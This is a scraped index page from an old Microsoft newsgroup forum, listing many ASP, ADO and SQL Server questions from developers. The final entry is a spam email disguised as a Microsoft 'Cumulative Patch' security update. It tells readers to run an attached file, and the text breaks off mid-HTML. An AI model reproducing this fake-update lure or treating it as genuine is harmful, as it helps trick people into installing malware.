SQL Timeout

TheMSsForum.com: The Microsoft Software Forum

The MSS Forum ‹ ASP Server
- Archive
  - Biz
  - MCSE
  - CRM
  - Drivers
  - Framework
  - ADO
  - ASP
  - Compact
  - Forms
  - Dotnet
  - C#
  - VB
  - FontpageGen
  - Excel
  - WorkSheet
  - Exchange
  - Setup
  - Fox
  - Fontpage
  - ASP
  - IIS
  - Entourage
  - Money
  - Messanger
  - PocketPC
  - Powerpoint
  - Project
  - Publisher
  - Excel
  - VB
  - Security
  - Portal
  - Services
  - SQLServerDev
  - SVCS
  - SQLServer
  - VB
  - VC
  - MFC
  - ExcelGen

- Previous
  - 1
    - ASP Hi, We have a WIn2k SP4 server running IIS 5.0. I can't get it to run ASP pages. HTML pages are fine. This is a new installation and ASP has never worked. I get a HTTP 500 error when we try the ASP page. The only modification from default installation is that the default website directory has been moved to D: partition. We are using the Default web site for the Intranet site. Thanks. Tag: SQL Timeout Tag: 275374
  - 2
    - dateAdd and datePart return 13, 14, 15 instead of 1, 2, 3 I'm trying to increment between the end of lunch and the end of the day. The code below is returning a datePart of 13 instead of 1 (for 1:00:00 PM) and 14 instead of 2:00:00 PM etc.. If response.write just counter2 I get a real hour. How can I return the actual hour datePart? lunchStart = "12:00:00 PM" lunchEnd = "1:00:00 PM" dayEnd = "5:00:00 PM" counter2 = cdate(lunchEnd) while counter2 >= cdate(lunchEnd) AND counter2 <= cdate(dayEnd) response.write datePart("h",counter2) counter2 = dateAdd("h",1,counter2) wend Thanks Tag: SQL Timeout Tag: 275371
  - 3
    - Printing I have an asp application that needs to print to a specific network printer. I am currently making it work by using the FSO and setting the path to the printer port, then writing out a string. The problem with that is that all the formatting I can do is with line feeds and tabs. Ideally, I'd like to pop open an html page on the client machine, print it, then close it. Is there any way to simulate calling window.print without pulling up the printer dialog box? Either in asp or in client side script? Any other suggestions on how to handle this? Thanks, Rebecca Tag: SQL Timeout Tag: 275366
  - 4
    - recordcount -1 I'm simply trying to get a number of records returned in a recordset, and just get a -1. I have looke din a few books and other references, can't seem to find any answers. Anyone have any idea why I can't get a real number? For the record, the recordset is not empty. In fact, it has many records which I can see plainly on the screen. But when I do response.write rs.recordcount, it just shows -1 Tag: SQL Timeout Tag: 275363
  - 5
    - Need SQL query Hi there. U have table structure shown here: category (Int - AutoIncrement) parent_category(Int) Title(string) 1 0 HOME PAGE 2 1 FIRST DEPTH 1 3 1 FIRST DEPTH 2 4 1 FIRST DEPTH 3 5 2 SECOND DEPTH 1 6 3 SECOND DEPTH 2 7 3 SECOND DEPTH 3 8 6 THIRD DEPTH 1 I want 1 (one) SQL query that can return me full depth for certain caregory. In some meta-language for category 8 it look like this: SELECT * FROM table WHERE category = 8 WHILE parent_category <> 1 SELECT * FROM table WHERE category = [parent_category from previous iteration] WEND So in that case resulting recordset would be category (Int - AutoIncrement) parent_category(Int) Title(string) 8 6 HOME PAGE 6 3 FIRST DEPTH 1 3 1 FIRST DEPTH 2 I know that I can do this using more that one recordset, but I want all this in one recordset. I am using ADO, not ADO.NET Thanks Tag: SQL Timeout Tag: 275361
  - 6
    - OT: WinXP - how can i see whats starting up across the board? im irritated that every time i insert a cdrom i get a windows alert informing me that some windows files are being overwritten, ive checked for a virus and spyware and deleted every thing ive found to no avail. i use MSconfig to see whats starting up and have cleared the RUN in the registry folders of anything suspicios, but it still happens. ..oh and i cant get system32/services.msc to work, which i assume is an associated problem :( how can i see everything thats starting up when windows loads, and is there a specific app or script that watches for a cd being inserted? mark Tag: SQL Timeout Tag: 275358
  - 7
    - ASP here to MS Access on another server? I have a ASP running on one web server trying to access an Access database on another file server. The problem is WebServer doesn't have permissions to open the db on FileServer. On FileServer I expected to be able to grant read permission to IUSR_WebServer but that account doesn't exist in FileServer's list to choose from. What do I need to do? FileServer is also a domain controller. WebServer is a standalone Win 2000 server. The error I get seems to indicate access denied. If I copy the same database to WebServer and use server.mappath("db.mdb") to create the connect string it works fine. For the other location's connect string I skip the server.mappath and provide a full UNC path. thanks LJB Tag: SQL Timeout Tag: 275356
  - 8
    - HowTo Send Uploaded File with INPUT Type file to Sql Server Image Data Type I have the following problem: I have the following form client side: <FORM.......> <FORM action="./WZUpload.asp" method="Post" enctype="multipart/form-data" WIDTH=100%> <INPUT Type="file" name="UpFileName" STYLE="{Width:400px}"><BR> I have the following ASP code server side .... AllDataB = Request.BinaryRead() AllData = ConvertToStringFromByte(AllDataB) AllDataFile = pGetRequestItem(AllData....) ' THIS INSTRUCTION FIND FILE BINARY DATA..... I need to transform SAFE ARRAY AllDataB in a Vb string because it's necessary for me to find Header info and because AllDataB doesn't contain only FILE BINARY DATA but other informations. Now I want to insert DIRECTLY File Binary Data (in the variable AllDataFile) in a Sql Server Image field without writing AllDataFile to a local file using the FileSysteObject. If I write: Rs("ImageField").AppendChunk AllDataFile IT DOESN'T WORK: the data format is UNICODE. And If I open the file the format is UNRECOGNIZED. Is There a Mode to insert directly data from BinaryRead to Sql Server Image data type ? If I write data from binaryread to a local file with FILESYSTEMOBJECT and I read it with ADODB.STREAM and I write ADODB.STREAM content to SQL SERVER IMAGE DATA TYPE it works but it's VERY VERY slow with large files. Thanks Rob Tag: SQL Timeout Tag: 275351
  - 9
    - Good starter book? I am an intermediate ASP programmer looking to start learning .NET and am looking for a good book to start learning from. Anyone have any recommendations on a good book to get me started? TIA!!! ----== Posted via Newsfeed.Com - Unlimited-Uncensored-Secure Usenet News==---- http://www.newsfeed.com The #1 Newsgroup Service in the World! >100,000 Newsgroups ---= 19 East/West-Coast Specialized Servers - Total Privacy via Encryption =--- Tag: SQL Timeout Tag: 275346
  - 10
    - ASP API? Hi All! Where can I find an API for ASP? Something that can tell me what the properties of a RecordSet are and the methods I can call on it. I tried looking here: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/iisref/htm/ref_vbom_.asp but I am a bit confused as to how I navigate to what I want. Any help would be most appreciated! Rob :) Tag: SQL Timeout Tag: 275341
  - 11
    - XMLHTTP and images Why do sites dragged in through XMLHTTP only download half or so of the images associated with the site? tia Tag: SQL Timeout Tag: 275340
  - 12
    - Client side and server side scripting problem Hiya I have a problem with using some client side and server side scripting together in an ASP. I'm using VBScript. What I'm trying to achieve is this - - Page loads up and some server side vbscript reads the database and populates a listbox on the page with the first field from each record in the recordset. This works fine. - User selects an option on the listbox and, using the OnChange, I call a client side vbscript function. This function needs to populate the text fields on the page with the rest of the fields from the relevant record in the recordset in the server side script that was done when the page loaded up. I realise that mixing server side and client side isn't possible but I'm looking for a way around this. What I can do is create an array in the server side code from the recordset and then pass this array into the function. I'm having trouble getting this to work though. The problem is that it doesn't seem to want to populate the text fields. It goes into the function alright because if I put an alert in there it appears when I select something from the list box. Here's some snippets from my code The server side script <%'Set up and open the connection to the database dim conn, rs, StructureArray(10,10) set conn=Server.CreateObject("ADODB.Connection") conn.provider="Microsoft.Jet.OLEDB.4.0" conn.open(server.mappath("structures.mdb")) set rs = Server.CreateObject ("ADODB.recordset") rs.Open "SELECT * FROM RunStructureValues WHERE WorkspaceID = '12', conn for intRow = 1 to StructureNameRS.RecordCount StructureArray(intRow,1) = StructureNameRS.Fields("RunNumber") StructureArray(intRow,2) = StructureNameRS.Fields("MPFLoc") StructureArray(intRow,3) = StructureNameRS.Fields("MPFExt") intRow = intRow + 1 next %> The client side script <script language="VBScript"> function UpdateFields(StructureArray) dim index index = form1.RunStructureName.selectedIndex form1.RunNumber.value = StructureArray(index,1) form1.MPFLoc.value = StructureArray(index,2) form1.MPFExt.value = StructureArray(index,3) end function </script> The form <form method="post" action="action.asp" target="_self" name="form1"> <table> <tr> <td class="SubHeader">Run Structure</td> <td> <SELECT name="RunStructureName" onchange="UpdateFields(<%=StructureArray%>)"> <% do until StructureNameRS.EOF%> <OPTION><%=StructureNameRS.Fields("RunStructureName")%></OPTION> <% StructureNameRS.MoveNext loop %> </SELECT> </td> </tr> <tr> <td class="SubHeader">Run Number</td> <td><input type="text" name="RunNumber" value=""></td> </tr> <tr> <td class="SubHeader">Model Point File Location</td> <td><input type="text" name="MPFLoc" value=""></td> </tr> <tr> <td class="SubHeader">Model Point File Extension</td> <td><input type="text" name="MPFExt" value=""></td> </tr> </table> </form> Any advice would be greatly appreciated as my deadline is looming and this is the one thing I'm having trouble with! If there is a better way to do this sort of thing then please let me know also! Thanks. Kathryn. Tag: SQL Timeout Tag: 275335
  - 13
    - Response.Redirect Hi, I have a Popup window where a user inputs soem data. On successfully entering this data I redirect the user to a page in the same popup indicating that the form has submitted successfully. I want to resize the page that I redirect the user to. Is this possible in ASP? Thanks, C Tag: SQL Timeout Tag: 275332
  - 14
    - How Browsers (IE) understand file types. 1) I have the following html code on the server: <HTML> ... .... <BODY> <A HREF = http://MyServer/MyDoc.doc> Click here to see the document</A> When I click on the link How Internet Explorer understand that it's a Word Document and It's necessary open it with Microsoft Word ? Is The extension to give the necessary information to Internet Explorer ? Where does IE look for the application to use to open the file on the server ? On the local registry ? I have tried to rename Mydoc.doc in MyDoc.pdf and I have called http://MyServer/MyDoc.pdf and the browser has opened Acrobat Reader but the binary format is for Microsoft Word. Does the Browser User an Http_Header sended automatically ? (for example HTTP_FILE_NAME....IF IT EXISTS) 2)Now I have the following link: http://MyServer/ReturnMyDoc.asp It returns the binary data of MyDoc.doc file. Now I want to say to the browser that the file is called MyDoc.doc (I don't want to use Content Type = ms-application/msword) : is there a header to say this to Internet Explorer ? Thanks Rob. Tag: SQL Timeout Tag: 275331
  - 15
    - server side printing with user IUSR_SRV-xxx possible? Hi, We have a server side application that should be able to print to network printers. The problem: How can I setup printers for the IUSR_SRV-... account in a way that I can use them from a .NET webservice? CU, Sven Tag: SQL Timeout Tag: 275329
  - 16
    - Problems sending long emails When sending long emails a mysterious space-character is added after a certain number of characters. Any idea why that happens? I am using a Dundas Mailer control (if that matters) called from an asp script. Regards Tim Tag: SQL Timeout Tag: 275327
  - 17
    - File permission problem Hi, I new to ASP. I have a problem with an ASP script opening a file for writing on my server. Here's how I got to this error: I downloaded a neat FileUpload ASP example from http://www.asp101.com/articles/jacob/scriptupload.asp. I copied to my wwwroot folder on my Win2000AS/SP4 server: - main .asp file - a subordinate .asp file that the main file references; and - a webform .html file Because of the problem I encountered I added a number of debugging statements to the script. Then I invoked the webform from a workstation using IE6.0 by referencing the server's IP address appended with webform .html file's name. I completed the form with: - Name: RLM - File: F:\_Projects_Current\_Projects_ASP\Test\Upload_test.txt and clicked Submit. I got the following error: Microsoft VBScript runtime (0x800A0046) Permission denied /upload.asp, line 137 The offending line is: Set oFile = oFS.CreateTextFile(sPath & FileName, True) I commented out this line, which then yielded: Thank you for your upload RLM Saving to folder D:\UploadedFiles\ Validating existence of folder D:\UploadedFiles\ Saving data to D:\UploadedFiles\Upload_test.txt File Uploaded: Upload_test.txt Size: 21 bytes Type: text/plain Any ideas on how I can fix this? -- Regards, Richard I can resist everything except temptation Lord Darlington in "Lady Windermere's Fan" by Oscar Wilde Tag: SQL Timeout Tag: 275326
  - 18
    - ASP pages not responding. Hi All, I have a strange problem occuring with my ASP/MS SQL Server website. My site is totally ASP driven, powered by a MS SQL Server DB. Now for months it has worked/performed very well, no problems. But sometimes, mainly early morning, my ASP pages won't respond at all. I get no Timeout errors, no JS errors, no errors at all. Just when I request my site's homepage, IE just searches and then stops, does nothing. ASP just does not respond. Now I have checked with my Server guys and they say there is no problem server side. And my DB is fine, HTML pages work fine and I can still FTP to my site.......but no ASP pages respond at all. Has any one any ideas at to why this might happen. I thought it might be my code, but I have checked and checked....the site make alot of recordset calls to the DB, about 35 per page. But the recordsets are opend and queried and closed correctly, so I would not have thought this was a problem. Please, if anyone has any ideas, then please let me know, Much appreciated, Alan... Tag: SQL Timeout Tag: 275325
  - 19
    - prueba news Prueba News -- -- Marta Mi personal photo gallery http://www.personal.able.es/ensoriano Tag: SQL Timeout Tag: 275323
  - 20
    - Set a datetime field to Null Hi I created a record set at client side and added a coulmn as date time DBRS = CreateObject("ADODB.RecordSet") DBRS.Fields.Append "Updation_Date",adDateTime How can I set a this field as nullable ? Thanks Baiju Tag: SQL Timeout Tag: 275315
  - 21
    - IsNull bug in ASP? I am getting wierd behaviour with IsNull in ASP. I am passing a string (which may be null) to a function. When the string is null, IsNull seems to return false the first time it is called, then True the second time. The code follows, am I doing something wrong, or is this a bug? Bob function unquote(st) 'make database string suitable for output '################# Dim test, test2 test = IsNull(st) test2 = IsNull(st) if test then unquote=st exit function end if response.write("In unquote st = " & st & "; isNull(st) =" & IsNull(st) & "; " & test & "; " & test2 & "<br>") 'if st is null, test is false, but test2 is true st = replace(st, "&", "&") st = replace(st, "'", "'") st = replace(st, """, chr(34)) st = replace(st, "<br>", chr(13) & chr(10)) unquote = st end function Tag: SQL Timeout Tag: 275314
  - 22
    - select all the duplicate records Hi, My table in the database may contain duplicate records, which means except the primary key (auto_increment) field is unique, all or almost of all the fields are with the same content. How can I select them to display and delete them? Thanks for any idea. Atse Tag: SQL Timeout Tag: 275311
  - 23
    - Displaying decimal 160 character in browser Hi. I have a input string I display. In the string, I have a character that's a part of ASCII chart 2 which doesn't display correctly. It displays as a ?. I tried different encoding to no avail. Any input is appreciated. Joshua Tag: SQL Timeout Tag: 275305
  - 24
    - divide a string Hi, I have a string: mystring="1234,5678,985,21544,55524,11264, ... ," How can I divide this string into 1234 5678 985 ... 11264 ... And then delete records corresponding to these separated strings? delete from mytable where id = '1234' ... delete from mytable where id = '11264' ... Thanks for any help. Atse Tag: SQL Timeout Tag: 275303
  - 25
    - Posting Unicode Form Values A really weird thing (to me, anyway) I've encountered is in a UTF-8 test script. Here, the input - a single two-byte Cyrillic character (as reported by Javascript in the originating form) is posted to the receiving script, where IIS or IE has expanded that to a 4-byte field. -- while the display of that character is correct. Can someone pls explain that? What encoding is the latter? AS Tag: SQL Timeout Tag: 275302
- Next
  - 1
    - Session.LCID does not work I live in Brazil and i am trying to set my application to=20 work with american date format.=20 The problem is, even when i set the LCID property at the=20 beginning of my code, it always returns the date in=20 brazilian date format. Example: <% @Language=3DVBSCript %> <% Session.LCID=3D1033 %> <% Response.write (now & "<BR>" & Session.LCID) %> This code should return:=20 MM/DD/YYYY HH:MM AM or PM 1033 But it=B4s returning: DD/MM/YYYY HH:MM 1033 Do you see? The LCID is correct but it keeps showing the=20 date in brazilian format? What the hell is happenning? Can=20 any one help me? Tag: SQL Timeout Tag: 275298
  - 2
    - Reducing Spam Associated with Posting to Newsgroups Due to a recent increase in spam sent to posters in newsgroups, Microsoft advises that newsgroup participants should consider avoiding posting to newsgroups using their real email address. Microsoft is also committed to continuing to address the issue of spam from a technological perspective. To help avoid receiving unwanted messages (spam) in your regular e-mail account, you may not want to include your regular e-mail address when you post a question or reply to a post in a discussion group. Instead you may want to do one of the following: * Use a modified e-mail address: Use a different version of your e-mail address that others will understand, but that spam tools can't automatically pick up. For example, if your actual e-mail address is "emailname@account.com", consider using a modified e-mail address such as: "emailnameaccount.com.invalid", emailname@REMOVE_CAPS_AND_INVALIDaccount.com.invalid, or emailname@account.com.NO_SPAM. In this case, the spam tools will send mail to an invalid e-mail address, and others will know to exclude the "(removethis)" when they send you e-mail. When you post a question or reply to a discussion group, just enter your modified e-mail address in the appropriate box. * Use a secondary e-mail account: Set up or use an e-mail account, such as a Hotmail account, that is separate from your primary account for posting to discussion groups. When you post a question or reply to a discussion group, use your Hotmail account as your e-mail address. If you have feedback or questions about this, please post a reply in the newsgroup, or contact us at http://register.microsoft.com/contactus30/contactus.asp?domain=communities Thanks! Microsoft Communities Team Tag: SQL Timeout Tag: 275297
  - 3
    - Secured ASP web site All: 1) Could any one show me any website which is using asp, ssl, sql server? 2) Is ASP/IIS technology good enough to create a commerical secured internet web application? 3) People said most of the secured internet web application (e.g. banking...) is using java, is that true? Simon Tag: SQL Timeout Tag: 275296
  - 4
    - import txt into database Hi, I still have problem to import the text file delimited by tabs or commas into the database. I refer to http://www.connectionstrings.com/ for the connection, ODBC doesn't work and OLD DB works only for csv files. Any idea? Does anybody has workable samples? Thanks a lot. ODBC Standard: "Driver={Microsoft Text Driver (*.txt; *.csv)};Dbq=c:\txtFilesFolder\;Extensions=asc,csv,tab,txt;" OLE DB Standard: "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\txtFilesFolder\;Extended Properties=""text;HDR=Yes;FMT=Delimited""" Atse Tag: SQL Timeout Tag: 275291
  - 5
    - FSO Woes(kinda long post) Lets see if I can explain this so I can get a good answer =) I'm trying to speed up a file search via FSO. I have a database that contains the exact path where files can be found and an "index" number assigned to each file. This index number is part of each files name. Example: DB columns filepath flindex pathname 123 pathname 124 pathname 125 etc etc Now the file structure is: pathname\123 file.txt pathname\124 file.txt pathname\125 file.txt Now if the actual file names were just a single extension I wouldn't have any problems because then I could just call up each file, my problem is that this "index" number is kinda like a place holder for any file type. pathname\123 file.txt pathname\123 file.pdf pathname\123 file.doc In my current code I end up using this: For Each fl in fc fileIndex = Left(fl.name,InStr(fl.name," ")) if fileIndex = flindex & " " Then Response.write ("|<a href ='" & webpath & fl.name & "' >" & fl.name & "</a>|") End if Next The above code works great, gives me the links I'm looking for based on each "indexed" file. My only serious issue is that depending on the exact path I might loop through only 10 files, or I might loop through 1000's of files. It is these paths with 1000's of files where my heartache comes from. It might take up to a minute for the code to loop through a given folder to match the indexed files I'm looking for. I'm sorry for making this post so long, but I thought it might give everyone a better idea of what I'm trying to accomplish if given more background. So.... what I'm wanting to ask, is there anyway to possibly speed up my files searches? Or am I just stuck looping until I find my matches? Tag: SQL Timeout Tag: 275274
  - 6
    - BODY ONLOAD() INTERNET EXPLORER 6.0.2 SCRIPT ERROR Hi all, Can you please help me out with this???? i've been using body onload() for ages but since i changed my internet explorer (to 6.02) and OS (XP), i started to get this IE script error and i don't know how to get rid of it!!!! I read somewhere that if I put the onload event in an inline script tag at the bottom of the my form body, it all works fine, but this doesn't work either!!!! Can someone tell me what i should do???? thanks a million!!!! Tag: SQL Timeout Tag: 275273
  - 7
    - downloadable text file Hi, If I click on the URL of a text file, it opens on the IE. How can I make it to prompt being downloaded instead of being opened on the IE? Thanks for any idea. Atse Tag: SQL Timeout Tag: 275268
  - 8
    - Checkbox Set To OFF Not In Request.Form When using checkboxes on a form, if you uncheck them, the unchecked name/value pair in the Request.Form collection doesn't show up. It only shows when the checkbox is set to ON. Is this correct? What's the workaround if it is? Tag: SQL Timeout Tag: 275264
  - 9
    - mapping to users home directory I am trying to write an asp or aspx page that will create a virtual ftp directory to the users Active Directory home directory. That way a user can interact (drag/drop, copy/paste) via IE with folder view for ftp sites. I have some code, that seems to be "flaky" it works for me and some others, but not everyone. I really need to get a stable version. My asp code is below. Having it in ASP is fine, but it would be a bonus to have a solid ASPX (ASP.net) solution. There is one issue I have ran into that is pretty annoying, and I am not sure if it can be fixed or not and that is the security of the virtual directory and file. I would prefer that when the user is at work on the network and logged in with their AD account that they would not be challenged to authenticate, but I could not get the "request.ServerVariables("AUTH_PASSWORD")" method to work unless Basic Authentication is used, requiring the user to login. I do not know if this can be avoided in ASP.net, but if I can use an aspx page that can get the password without having to decrypt or whatever that would be ideal. Anyway, here is the code I have: ---------------------------------------------------------- ------------------------- <% strFullUserName = request.ServerVariables("AUTH_USER") strUserPass = request.ServerVariables("AUTH_PASSWORD") strWebServer = request.ServerVariables("SERVER_NAME") strWebServerIP = request.ServerVariables("LOCAL_ADDR") 'Split domain and username strUserDomain = strFullUserName strUserDomain = Mid (strFullUserName, 1, Instr (strFullUserName, "\")-1) strUserDomainLength = len(strUserDomain) strFullUserNameLength = Len(strFullUserName) strUserName = Right (strFullUserName, strFullUserNameLength - strUserDomainLength -1) Set objUser = GetObject("WinNT://" & strUserDomain & "/" & strUserName, user) strUserHome = objUser.homeDirectory strVD = "ftp://" & strWebServer & "/" On Error Resume Next Set IISOBJ = GetObject ("IIS://Localhost/MSFTPSVC/1/Root") Set NewDir = IISOBJ.Create("IIsFtpVirtualDir", strUserName) Error.Number = 0 NewDir.Path = strUserHome NewDir.AccessRead = True NewDir.AccessWrite = True NewDir.UNCUserName = strfullUserName NewDir.UNCPassword = strUserPass NewDir.SetInfo Set NewDir=Nothing Set IISObJ=Nothing Response.Redirect( "ftp://testportal" ) 'response.write ("Your P Drive Was Mapped Successfully!"& "<a href=""ftp://testportal/"">Click Here</a><br>") %> Tag: SQL Timeout Tag: 275262
  - 10
    - _vti_cnf Why does ASP create a directory named _vti_cnf containing all the files of an application for each application? Can deleting those directories permanently cause some problems? Thanks, Arpan Tag: SQL Timeout Tag: 275248
  - 11
    - Arabic / Russian text in asp/ie built-in editor/access Hello! I am to develop a multi-lingual website / content management system. I will use ASP (IIS on swedish or english windows 2000), Access, and for the content editing i will use the built-in editor in IE (in an IFRAME). Primary languages/charsets, apart from the western languages (swedish, english etc) will be russian and arabic. Does anyone know how (if) this works? What should my main concerns be, will it work and what will the likely problems be? I've tried to insert arabic text in regular text-fields in existing applications, but when they reach the database the text has been alterd. Though I can paste the same text directly into the database. Why? / Linda Tag: SQL Timeout Tag: 275247
  - 12
    - _vti_cnf Why does ASP create a directory named _vti_cnf containing all the files of an application for each application? Can deleting those directories permanently cause some problems? Thanks, Arpan Tag: SQL Timeout Tag: 275246
  - 13
    - Including Static Content I'm using the Server.Execute method to include a static page inside a dynamic database call. This static page is not a valid HTML page (i.e. lacking <body>,<head>, etc. elements), but I'm pulling it into the dynamic page just to give the content an upgrade in presentation, including images. The problem is that there is no way to have relative URLs in the content page, so all the image src's are wrong. Is there a better way to include static content like this, or a way to alter the contents on the static page prior to running Server.Execute (I could parse the file via the FileSystemObject, but I'm hoping not to do that)? Thanks, j Tag: SQL Timeout Tag: 275241
  - 14
    - date formatting i have a date in the following format: 12/1/2003 how do i reference just the 'day' portion of this date - in other words '1' if the date was 12/10/2003, then i would just want the '10' tia jt Tag: SQL Timeout Tag: 275234
  - 15
    - FSO FileExists Method I would like to know if I'm correct in the way I coded this: Function CheckFileExists(sFileName) If (fs.FileExists(sFileName)) Then CheckFileExists = True Else CheckFileExists = False End If End Function If CheckFileExists(Whichfolder & flindex & ".tif") Then 'java code to display the tif inline with the browser else 'code stating there is no file to display End if I just want to make sure that (Whichfolder & flindex & ".tif") which is an actual file path is what is being passed to the Function CheckFileExists as sFileName Thanks from this ASP Newbie Tag: SQL Timeout Tag: 275232
  - 16
    - Using the same page for viewing, editing and adding records Hi All I am not an ASP expert but do some coding in ASP. I am lookng to learn how to code a form/page which can be used to view, create or edit/update a record. I have simple 3 field table but I don't to write three seperate pages ASP pages to view edit or create new records. I have seen in the past others coders pass the querystring value Action?=Create etc and then using the logic to work their way around that but if someone has an example I would apprecate the code. thanks Tag: SQL Timeout Tag: 275224
  - 17
    - Select multiple items from a dropdown I want an ASP page with a dropdown and a simple button. Every time the user chooses an item from the dropdown and clicks on the button i want that value written below in list and allow user to select more. Also how can these choices be saved somehow so tha when the user goes to the next page the choices he made can be written to the database. For example The choices in the dropdown may be London Dublin Paris New York When the user chooses Dublin I want ti written below the dropdown. Then when he chooses New York. I want it added to london. so that it displays Dublin London Then when he click next button these two choices are taken over to the next page where an insert query can be used to insert them into the db. Tag: SQL Timeout Tag: 275222
  - 18
    - Access hidden field Hi group, I'm trying to write to a hidden field on a form from a page that is loaded as the "src" in an iframe. I keep getting "Access denied" in the javascript of childform.asp...I have tried many variation in trying to reference the hidden field on the parent form with no success...can anyone suggest the syntax? Thanks much here's sample code: parentform.asp: <html> . <form name=frm id =frm> <type=hidden id=hiddenfield name=hiddenfield> <iframe name="child" id="child" src="childform.asp" width="100%" height="88%" scrolling="auto" align="left"></iframe> </form> . </html> childform.asp <html> . <script language="javascript"> top.document.hiddenfield.value = someValue; </script> . </html> Tag: SQL Timeout Tag: 275219
  - 19
    - drop down population help needed - thanks In my data base I have a list of componet types e.g. type A - I have 8 off - type B I have 12 off etc. I'm using Set objRS = objDC.Execute("Select DISTINCT Component_Type FROM Parts_Table") to populate a drop down but would like to use several drop downs restricting the contents of each drop down to the records pertaining to one particular componet type eg a drop down only for type A, only for type B etc. can this be done if so how? The other thing I like to do is add the price field to the drop down list (two fields in one drop down) is this done just by seperating the fields by a ","? Tag: SQL Timeout Tag: 275216
  - 20
    - How can I call a function by click one button Hello, By VBScript ASP How can I call a function by click one button? May you help me Tag: SQL Timeout Tag: 275212
  - 21
    - How can I get the checkbox's value Hello, I made this code: ... <% dim xyz xyz = Request.Form("checkbox1") %> <HTML> <HEAD> </HEAD> <BODY> <FORM action="Forwarding.asp" method=post id=form1 name=form1> <INPUT type="checkbox" id="checkbox1" name="checkbox1"><BR> ... but, xyz can't get the "checkbox1"'s value. Can you help me Tag: SQL Timeout Tag: 275209
  - 22
    - Switching Between HTTP and HTTPS Hi I wish to have a web site that has most of the pages as normal HTTP pages but has some areas that use HTTPS. I want to have it that if a user selects a link to a HTTPS page that they go there an there Session Information is kept. I also wish to have the pages switch automatically to HTTPS if a visitor types the URL without the HTTPS. So my questions are: 1) How to redirect to a Secure Page without losing Session Info? 2) How to test if page is accessed by HTTPS, and if not switch to HTTPS quickly? I think something like this code is what I want but how do I do it. <% if not "HTTPS" then response.redirect(https://mysite.com/securepage.asp) end if %> Thanks for the help. Kenneth Keeley Tag: SQL Timeout Tag: 275207
  - 23
    - Can ASP create OLE objects? Hi, I've a client-server application written in Access. Some of the codings make use of OLE so that the Access application creates a Word document on the fly and fit in relevant values. I'm examining if using ASP pages can do similar function (to create and manipulate OLE objects)? Anybody knows if ASP can do? If ASP can't, how about ASP.NET? thanks in advance, jackling. Tag: SQL Timeout Tag: 275203
  - 24
    - Problem with % Hello! I have a SELECT comand passed trhough ASP like This: SELECT PK_A_MSGID, C3_MSG, C3_MSGPT, C3_MSGEN FROM S_MSGS WHERE C3_MSG LIKE ""%Efectuar%"" ORDER BY PK_A_MSGID and when i pass it it gives me: SELECT PK_A_MSGID, C3_MSG, C3_MSGPT, C3_MSGEN FROM S_MSGS WHERE C3_MSG LIKE "ïectuar" ORDER BY PK_A_MSGID Why? how can i correct this? Thanks Tag: SQL Timeout Tag: 275197
  - 25
    - Take a look at this internet update from the Microsoft --xuwvoiwsifl Content-Type: multipart/related; boundary="emkxgnljhewush"; type="multipart/alternative" --emkxgnljhewush Content-Type: multipart/alternative; boundary="aymkndllgjdjn" --aymkndllgjdjn Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Microsoft Customer this is the latest version of security update, the "October 2003, Cumulative Patch" update which fixes all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three new vulnerabilities. Install now to protect your computer. This update includes the functionality = of all previously released patches. System requirements: Windows 95/98/Me/2000/NT/XP This update applies to: - MS Internet Explorer, version 4.01 and later - MS Outlook, version 8.00 and later - MS Outlook Express, version 4.01 and later Recommendation: Customers should install the patch = at the earliest opportunity. How to install: Run attached file. Choose Yes on displayed dialog box. How to use: You don't need to do anything after installing this item. Microsoft Product Support Services and Knowledge Base articles = can be found on the Microsoft Technical Support web site. http://support.microsoft.com/ For security-related information about Microsoft products, please = visit the Microsoft Security Advisor web site http://www.microsoft.com/security/ Thank you for using Microsoft products. Please do not reply to this message. It was sent from an unmonitored e-mail address and we are unable = to respond to any replies. ---------------------------------------------- The names of the actual companies and products mentioned = herein are the trademarks of their respective owners. --aymkndllgjdjn Content-Type: text/html Content-Transfer-Encoding: quoted-printable <HTML> <HEAD> <style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none} </style> </HEAD> <BODY BGCOLOR=3D"White" TEXT=3D"Black"> <BASEFONT SIZE=3D"2" face=3D"verdana,arial"> <TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB"> <TR height=3D"20"> <TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">  <FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/" TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A> </B></I></FONT> </TD> <TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP> <FONT color=3D"#ffffff" size=3D1>  <A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' = target=3D"_top">All Products</A> |  <A class=3D'navtext' href=3D'http://support.microsoft.com/' = target=3D"_top">Support</A> |  <A class=3D'navtext' href=3D'http://search.microsoft.com/' = target=3D"_top">Search</A> |  <A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top> Microsoft.com Guide</A>  </FONT> </TD> </TR> <TR> <TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP> <FONT FACE=3D"Verdana, Arial" SIZE=3D1><B> <A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top"> Microsoft Home</A>  </B> </FONT> </TD> </TR> </TABLE>  <IMG SRC=3D"cid:rwvjuig" BORDER=3D"0"><BR><BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Customer<BR><BR> this is the latest version of security update, the "October 2003, Cumulative Patch" update which fixes all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three new vulnerabilities. Install now to protect your computer. This update includes the functionality = of all previously released patches. </FONT></TD></TR> </TABLE> <BR><BR> <TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600"> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:tujuunv" = ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B> </FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT 